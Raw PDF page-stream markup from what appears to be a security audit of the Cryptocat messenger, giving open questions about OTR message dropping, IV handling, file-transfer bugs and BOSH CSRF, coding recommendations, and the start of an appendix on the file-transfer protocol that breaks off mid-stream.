BT 1 0 0 1 0 50 Tm 2.039318 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (protocol appears to allow an attacker to force messages to be selectively dropped. It) Tj T* 0 Tw 3.59229 Tw (protects against message reordering, but forcing a message to be dropped will not prevent) Tj T* 0 Tw 1.191412 Tw (subsequent messages from the same buddy from getting though, and will not cause any warning.) Tj T* 0 Tw 21.19247 Tw (Verification: reading the ) Tj 0 0 .501961 rg (OTR v3 protocol specification) Tj 0 0 0 rg (, and the) Tj T* 0 Tw /F4 10 Tf (\(ctr) Tj ( ) Tj (<) Tj (=) Tj ( ) Tj (sessKeys.rcv_counter\) ) Tj /F1 10 Tf (check in the ) Tj /F4 10 Tf (handleDataMsg ) Tj /F1 10 Tf (function from ) Tj /F4 10 Tf (otr.js) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 90.02362 cm
Q
q
1 0 0 1 62.69291 84.02362 cm
Q
q
1 0 0 1 62.69291 84.02362 cm
Q
endstream
endobj
% 'R196': class PDFStream
196 0 obj
% page stream
<< /Length 10985 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 741.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .323672 Tw 12 TL /F1 10 Tf 0 0 0 rg (We did not check for the possibility of downgrade attacks to ) Tj /F3 10 Tf (OTR v2) Tj /F1 10 Tf (. \(Both OTR v2 and OTR v3 are) Tj T* 0 Tw (enabled by default, and this default is not overridden by Cryptocat.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 735.0236 cm
Q
q
1 0 0 1 62.69291 711.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .139985 Tw (We tried to determine whether an attacker exploiting issue F could also prevent the notification in the) Tj T* 0 Tw (main conversation window, but were not able to establish whether or not that was possible.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 705.0236 cm
Q
q
1 0 0 1 62.69291 681.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 3.373555 Tw 12 TL /F1 10 Tf 0 0 0 rg (There may be the potential for inconsistent state between the user interface and the global) Tj T* 0 Tw /F4 10 Tf (currentConversation ) Tj /F1 10 Tf (variable if there is an exception in ) Tj /F4 10 Tf (switchConversation) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 675.0236 cm
Q
q
1 0 0 1 62.69291 615.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 45 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 50 Tm 1.448976 Tw 12 TL /F1 10 Tf 0 0 0 rg (\223Major new feature: ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (now automatically reconnects to conversations when disconnected,) Tj T* 0 Tw .651647 Tw (without troubling the user. ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (will automatically detect accidental disconnections and wait for) Tj T* 0 Tw 1.837976 Tw (the Internet connection to be re-established before reconnecting.\224 \(from ) Tj 0 0 .501961 rg (CHANGELOG.md) Tj 0 0 0 rg (\) Does) Tj T* 0 Tw .802765 Tw (that mean it is now possible for an attacker to edit out parts of a conversation without troubling the) Tj T* 0 Tw (user?) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 615.0236 cm
Q
q
1 0 0 1 62.69291 609.0236 cm
Q
q
1 0 0 1 62.69291 609.0236 cm
Q
q
1 0 0 1 62.69291 537.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 57 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 62 Tm 1.080574 Tw 12 TL /F1 10 Tf 0 0 0 rg (Question: If the ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (parameter passed to the ) Tj /F4 10 Tf (crypto-js ) Tj /F1 10 Tf (library has the wrong type or is not long) Tj T* 0 Tw 1.504976 Tw (enough, ) Tj /F4 10 Tf (undefined ) Tj /F1 10 Tf (propagation could compromise confidentiality. What happens if a non-Array) Tj T* 0 Tw .000514 Tw (general object is passed as ) Tj /F3 10 Tf (IV) Tj /F1 10 Tf (? What happens if a short Array is passed? We suspect this could be a) Tj T* 0 Tw 1.330751 Tw (disastrous, silent security failure. We manually inspected every call site, and performed some live) Tj T* 0 Tw .164104 Tw (tests with assertions within ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (proper to gain confidence that the ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (is the right type, size, and) Tj T* 0 Tw (has the correct element types and range.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 531.0236 cm
Q
q
1 0 0 1 62.69291 507.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .964976 Tw 12 TL /F1 10 Tf 0 0 0 rg (Concern: There is a type-dependent return from ) Tj /F4 10 Tf (Cryptocat.getBytes\(\) ) Tj /F1 10 Tf (which actually causes) Tj T* 0 Tw (calls to ) Tj /F4 10 Tf (Cryptocat.encodedBytes\(1,) Tj ( ) Tj (...\) ) Tj /F1 10 Tf (to throw an exception.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 501.0236 cm
Q
q
1 0 0 1 62.69291 459.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 27 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 15 cm
q
BT 1 0 0 1 0 14 Tm 2.121797 Tw 12 TL /F1 10 Tf 0 0 0 rg (Concern: ) Tj /F4 10 Tf (Cryptocat.fileKeys[nickname] ) Tj /F1 10 Tf (is used for transfers in both directions. Is this a) Tj T* 0 Tw (problem?) Tj T* ET
Q
Q
q
1 0 0 1 23 9 cm
Q
q
1 0 0 1 23 9 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (What happens if Alice begins receiving $FILE from Bob, then initiates a send to Bob?) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 453.0236 cm
Q
q
1 0 0 1 62.69291 429.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .689982 Tw 12 TL /F4 10 Tf 0 0 0 rg (.position) Tj ( ) Tj (>) Tj ( ) Tj (.file.size ) Tj /F1 10 Tf (seems off-by-one \(if ) Tj /F4 10 Tf (position ) Tj /F1 10 Tf (= ) Tj /F4 10 Tf (.file.size ) Tj /F1 10 Tf (then the file has all) Tj T* 0 Tw (been sent already\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 423.0236 cm
Q
q
1 0 0 1 62.69291 375.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 38 Tm .980751 Tw 12 TL /F1 10 Tf 0 0 0 rg (Why does it use ) Tj /F4 10 Tf (FileReader ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (readAsDataURL) Tj /F1 10 Tf (? This should be documented in a comment.) Tj T* 0 Tw 1.432619 Tw (\(My guess: the data is in a string of Unicode chars and needs to be converted to a sequence of) Tj T* 0 Tw 1.424985 Tw (bytes, and the Unicode-encoding way of doing it is inefficient on chunks this large.\) Why not use) Tj T* 0 Tw /F4 10 Tf (readAsArrayBuffer) Tj /F1 10 Tf (?) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 369.0236 cm
Q
q
1 0 0 1 62.69291 345.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .598221 Tw 12 TL /F4 10 Tf 0 0 0 rg (otr.js ) Tj /F1 10 Tf (ignores the ) Tj /F3 10 Tf (OTR TLV ) Tj /F1 10 Tf (type 8 4-byte type indicator and assumes it is a filename. This might) Tj T* 0 Tw (break compatibility with a future ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (standard.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 339.0236 cm
Q
q
1 0 0 1 62.69291 279.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 45 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 50 Tm .633318 Tw 12 TL /F1 10 Tf 0 0 0 rg (Why are only certain types \() Tj /F3 10 Tf (MIME ) Tj /F1 10 Tf (types\) of files allowed? This should be documented, for example) Tj T* 0 Tw .64832 Tw (on a web page, wiki, or text file, and the code that enforces that restriction should have a comment) Tj T* 0 Tw 22.29442 Tw (saying where to find the documentation of it. Perhaps in) Tj T* 0 Tw 2.619921 Tw 0 0 .501961 rg (https://github.com/cryptocat/cryptocat/wiki/OTR-Encrypted-File-Transfer-Specification) Tj 0 0 0 rg (, or perhaps a) Tj T* 0 Tw (more user-focused manual.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 273.0236 cm
Q
q
1 0 0 1 62.69291 261.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F4 10 Tf 0 0 0 rg (Cryptocat.fileSize ) Tj /F1 10 Tf (should be named ) Tj /F4 10 Tf (Cryptocat.maximumFileSize) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 255.0236 cm
Q
q
1 0 0 1 62.69291 207.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 38 Tm .958651 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F4 10 Tf (seq ) Tj /F1 10 Tf (parameter in the file-send protocol is maintained in the sender, received by the receiver,) Tj T* 0 Tw .578735 Tw (and stored by the receiver in the ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (structure, but is not actually used for anything. Remove) Tj T* 0 Tw 1.169431 Tw (all uses of it \(since ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf (protocol requires a ) Tj /F4 10 Tf (seq ) Tj /F1 10 Tf (parameter to be sent in the ) Tj /F4 10 Tf (data ) Tj /F1 10 Tf (message, but) Tj T* 0 Tw /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (doesn't use that parameter, just hard-code it to 0\).) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 201.0236 cm
Q
q
1 0 0 1 62.69291 141.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 45 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 50 Tm 1.475366 Tw 12 TL /F4 10 Tf 0 0 0 rg (strophe.js) Tj /F1 10 Tf ( ) Tj /F4 10 Tf (getUniqueId ) Tj /F1 10 Tf (is documented as resetting to 0 for each connection, but it actually) Tj T* 0 Tw 24.38747 Tw (resets to a random integer from [0,10000\). Opened ticket) Tj T* 0 Tw 2.965529 Tw 0 0 .501961 rg (https://github.com/strophe/strophejs/issues/35) Tj 0 0 0 rg (. The ticket was closed by the strophe authors by) Tj T* 0 Tw .55186 Tw (setting the ) Tj /F4 10 Tf (uniqueId ) Tj /F1 10 Tf (to 0. This affects ) Tj 0 0 .501961 rg (Issue C. Substitution of File Contents By Hijacking Entry in) Tj T* 0 Tw (User Interface) Tj 0 0 0 rg (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 135.0236 cm
Q
q
1 0 0 1 62.69291 99.02362 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 1.409984 Tw 12 TL /F1 10 Tf 0 0 0 rg (As documented in ) Tj 0 0 .501961 rg (Appendix B: Work Log) Tj 0 0 0 rg (, we concluded that BOSH is resistant to CSRF attacks) Tj T* 0 Tw .247318 Tw (provided that the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (parameter is unguessable. Much later, we realized that the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (parameter is) Tj T* 0 Tw (not unguessable. Is there anything else protecting BOSH from CSRF attacks?) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 99.02362 cm
Q
q
1 0 0 1 62.69291 99.02362 cm
Q
endstream
endobj
% 'R197': class PDFStream
197 0 obj
% page stream
<< /Length 7201 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Recommendations) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 714.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Coding Practices) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 702.0236 cm
Q
q
1 0 0 1 62.69291 702.0236 cm
Q
q
1 0 0 1 62.69291 600.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 87 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 62 Tm .892976 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (implementation guards against ) Tj /F3 10 Tf (XSS ) Tj /F1 10 Tf (attacks by storing potentially attacker-controlled) Tj T* 0 Tw 1.177633 Tw (data, such as nicknames, as strings and escaping them close to the point of use. This in practice) Tj T* 0 Tw 2.866905 Tw (results in escaping logic being scattered in many places over the source, including ) Tj /F3 10 Tf (Mustache) Tj T* 0 Tw .35104 Tw /F1 10 Tf (templates as part of the source; if any one of the necessary places is omitted, there may be an ) Tj /F3 10 Tf (XSS) Tj T* 0 Tw .029988 Tw /F1 10 Tf (vulnerability. If instead such data were held in an object that is not usable directly as a string, it would) Tj T* 0 Tw (be much easier to ensure consistent and auditable validation and escaping.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .449984 Tw 12 TL /F1 10 Tf 0 0 0 rg (\(In ) Tj /F3 10 Tf (JavaScript ) Tj /F1 10 Tf (all objects have implicit coercions to string; however, the implicit coercion may yield a) Tj T* 0 Tw (harmless constant, in which case it is not a security risk for it to be invoked accidentally.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 594.0236 cm
Q
q
1 0 0 1 62.69291 414.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 165 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 105 cm
q
BT 1 0 0 1 0 62 Tm .031098 Tw 12 TL /F1 10 Tf 0 0 0 rg (A common idiom in ) Tj /F3 10 Tf (Javascript ) Tj /F1 10 Tf (code is for a function to behave differently depending on the type of its) Tj T* 0 Tw 2.265318 Tw (arguments. This can make it harder for reviewers to correctly trace control flow \(as they might) Tj T* 0 Tw 1.707984 Tw (misinterpret or misremember which of the behaviors of the function will be executed in a certain) Tj T* 0 Tw 3.234597 Tw (case\), and can similarly lead developers to call the function incorrectly. Some of ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf ('s) Tj T* 0 Tw .446651 Tw (dependent libraries use this idiom. We would recommend to the authors of ) Tj /F3 10 Tf (those ) Tj /F1 10 Tf (libraries to instead) Tj T* 0 Tw (write separate functions for each separate behavior.) Tj T* ET
Q
Q
q
1 0 0 1 23 87 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Examples:) Tj T* ET
Q
Q
q
1 0 0 1 23 81 cm
Q
q
1 0 0 1 23 81 cm
Q
q
1 0 0 1 23 57 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 2.014418 Tw 12 TL /F4 10 Tf 0 0 0 rg (OTR.prototype._sendMsg ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (otr.js ) Tj /F1 10 Tf (\(from the otr.js codebase\), which does something) Tj T* 0 Tw (different if its second argument is true.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 51 cm
Q
q
1 0 0 1 23 27 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 2.136976 Tw 12 TL /F4 10 Tf 0 0 0 rg (OTR.prototype._sendMsg ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (otr.js ) Tj /F1 10 Tf (also does something different if its ) Tj /F4 10 Tf (msgstate ) Tj /F1 10 Tf (is) Tj T* 0 Tw /F4 10 Tf (CONST.MSGSTATE_PLAINTEXT) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 21 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 2.38247 Tw 12 TL /F4 10 Tf 0 0 0 rg (selectCipherStrategy\(\) ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (cipher-core.js ) Tj /F1 10 Tf (\(from the crypto-js codebase\) is scary,) Tj T* 0 Tw (because what it does depends on whether the type of its ) Tj /F4 10 Tf (key ) Tj /F1 10 Tf (argument is string or other.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 408.0236 cm
Q
q
1 0 0 1 62.69291 324.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 69 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 74 Tm 1.531235 Tw 12 TL /F1 10 Tf 0 0 0 rg (Cryptocat itself uses in one place a similar idiom, of returning different types of argument from a) Tj T* 0 Tw 3.190888 Tw (function in different cases. This is in ) Tj /F4 10 Tf (Cryptocat.getBytes\(\)) Tj /F1 10 Tf (, which returns different types) Tj T* 0 Tw 1.569398 Tw (depending on whether its first argument is 1 or a number greater than 1. As mentioned in ) Tj 0 0 .501961 rg (Open) Tj T* 0 Tw 2.593976 Tw (Questions & Concerns) Tj 0 0 0 rg (, ) Tj /F4 10 Tf (Cryptocat.encodedBytes\(\) ) Tj /F1 10 Tf (doesn't take into account the fact that) Tj T* 0 Tw 11.21098 Tw /F4 10 Tf (Cryptocat.getBytes\(\)) Tj /F1 10 Tf ('s return value is of varying type, so if you invoke) Tj T* 0 Tw 2.935976 Tw /F4 10 Tf (Cryptocat.encodedBytes\(1,) Tj ( ) Tj (\205\)) Tj /F1 10 Tf (, it will throw an exception. We recommend making each) Tj T* 0 Tw (function return the same type of object in all cases.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 318.0236 cm
Q
q
1 0 0 1 62.69291 282.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 5.139069 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F4 10 Tf (crypto-js ) Tj /F1 10 Tf (codebase makes heavy use of a ) Tj /F4 10 Tf (.extend ) Tj /F1 10 Tf (prototypical inheritance by) Tj T* 0 Tw .67784 Tw (copy-then-modify. Additionally it has a very deep abstraction hierarchy for only a few actual ciphers) Tj T* 0 Tw (and modes. These two styles make it extremely cumbersome to audit by source.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 276.0236 cm
Q
q
1 0 0 1 62.69291 240.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 1.989398 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F4 10 Tf (key ) Tj /F1 10 Tf (structure which has two slots, 0, and 1, should instead be a struct with named slots.) Tj T* 0 Tw .303828 Tw (Recommendation: Use named properties rather than fixed Array indices \(tuple-style\), or if tuple style) Tj T* 0 Tw (has some advantage, define constants for the indices, rather than using magic constants.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 240.0236 cm
Q
q
1 0 0 1 62.69291 240.0236 cm
Q
endstream
endobj
% 'R198': class PDFStream
198 0 obj
% page stream
<< /Length 9354 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Appendix A: The life cycle of the Cryptocat file transfer) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 702.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.571318 Tw (Here are our notes describing our understanding of the Cryptocat file transfer protocol, along with the) Tj T* 0 Tw .968876 Tw (parts of the rest of the protocols that are necessary to evaluate the security of the file transfer protocol.) Tj T* 0 Tw (This is described in chronological order of one \(or more\) file transfers.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 696.0236 cm
Q
q
1 0 0 1 62.69291 696.0236 cm
Q
q
1 0 0 1 62.69291 642.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 39 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (1.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 39 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (The server tells a client there is a Presence session, with a Nickname.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm .377633 Tw 12 TL /F1 10 Tf 0 0 0 rg (Note: there is no attempt to enforce constraints on what Nickname gets used, other than that it can't) Tj T* 0 Tw 1.734104 Tw (be currently in use \(see ) Tj 0 0 .501961 rg (Issue E. You Log Out, Attacker Logs in with the same Nickname, Your) Tj T* 0 Tw (Friend Thinks The Attacker is You) Tj 0 0 0 rg (\).) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 636.0236 cm
Q
q
1 0 0 1 62.69291 540.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 81 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (2.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 69 cm
q
BT 1 0 0 1 0 14 Tm .670651 Tw 12 TL /F1 10 Tf 0 0 0 rg (Now the server can deliver messages between clients, which ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (uses to do its protocol, resulting) Tj T* 0 Tw (in a ) Tj /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (shared secret.) Tj T* ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 26 Tm .557126 Tw 12 TL /F1 10 Tf 0 0 0 rg (Note: if the user does not perform the optional Socialist Millionaire Protocol authentication, then this) Tj T* 0 Tw 1.25186 Tw (is vulnerable to a Man-In-The-Middle attack \(see ) Tj 0 0 .501961 rg (Issue E. You Log Out, Attacker Logs in with the) Tj T* 0 Tw (same Nickname, Your Friend Thinks The Attacker is You) Tj 0 0 0 rg (\).) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 2.878735 Tw 12 TL /F1 10 Tf 0 0 0 rg (The resulting ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (keys are stored in an ) Tj /F4 10 Tf (OTR ) Tj /F1 10 Tf (object, which is stored in a hashtable named) Tj T* 0 Tw /F4 10 Tf (otrKeys) Tj /F1 10 Tf (, indexed by the Nickname.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 534.0236 cm
Q
q
1 0 0 1 62.69291 432.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 87 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (3.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 63 cm
q
BT 1 0 0 1 0 26 Tm 1.50436 Tw 12 TL /F3 10 Tf 0 0 0 rg (OTR ) Tj /F1 10 Tf (generates a new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared secret "on every round trip" \(see below for precisely what that) Tj T* 0 Tw .649987 Tw (means\). After it generates a new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared secret, it begins using it to protect all messages that it) Tj T* 0 Tw (sends from that time on.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
